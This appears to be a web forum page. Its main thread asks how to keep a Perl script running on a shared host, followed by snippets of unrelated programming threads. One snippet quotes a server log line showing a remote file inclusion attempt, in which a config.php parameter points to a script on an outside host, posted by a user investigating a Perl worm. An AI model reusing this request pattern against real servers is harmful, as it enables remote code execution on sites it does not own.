Keeping Perl Script ALIVE on public server

1 New Member
I have a web form created in html, on a web host server, which includes a start time field that can be up to 24 hours ahead. After hitting the submit button, a Perl script is run that takes the form data and accesses a website, with the data, at the requested start time. Without running this on my own server, instead of a public server, I'm unable to keep the connection live for anything more than 5-10 minutes. Any ideas?

Your setup does not entirely make sense. Can you describe it further?

I'm confused too, but "Keeping Perl Script ALIVE on public server" you can't do that. The server will most likely kill your perl program after a set amount of time or a set amount of resources are used (like cpu time or system memory).

Hi I am trying to use the internet transfer control to send some data to a site. I want my MS ISA proxy server to keep the connection alive. What syntax should I use to send the 'keep alive' data to the proxy server? Is any of the following any good? objInet.Execute "http://wwww.mysite.com", "POST", "Some Data", "Content-Type: application/x-www-form-urlencoded Proxy-Connection: Keep-Alive" & vbCrLf

Hi All, I have a form that uses Javascript to validate some fields. Whe the user selects to submit the form with certain values selected, I want to be able to execute a Perl script, query the MySQL database to get my resuts and return an ALERT box to the user if his form input was invalid. Problem is, I do not want to change the screen. I just want the dialog to pop up. I am very good at Perl, but I'm less than a novice at

There were some strange requests to my server asking for config.php file (which I do not have in the requested location). I did some investigation. Seems to be a virus written in perl, exploiting a vulnerability in php code. The requests are like this 216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"

Greetings! I thought I'd add a little something to a web site, a "tip of the week," and wanted it automated so that if I get hit by a truck (or, more likely, am forgetful), the tip is updated automatically. I learned enough Perl (read: just enough) to code a script that does what I want it to do. Now the question is: how to get it to run automatically. I would like the program to be invoked when someone, anyone, hits my homepage. I...

We're using a perl script to fetch images from the inhouse server & pump them to a remote server with much higher bandwidth. I want to remove the Everyone account from the target folder on the remote server, so users may only access it with username & password. When I do this, the perl script stops working. I can only assume the perl script is operating under the Everyone account. How do I change the functionality so that the Everyone...

Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed. This is as boiled down as I can make it. Here is my compilation command: g++-12 -std=c++20 -Wnarrowing bit_field.cpp Here is the code in...

Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
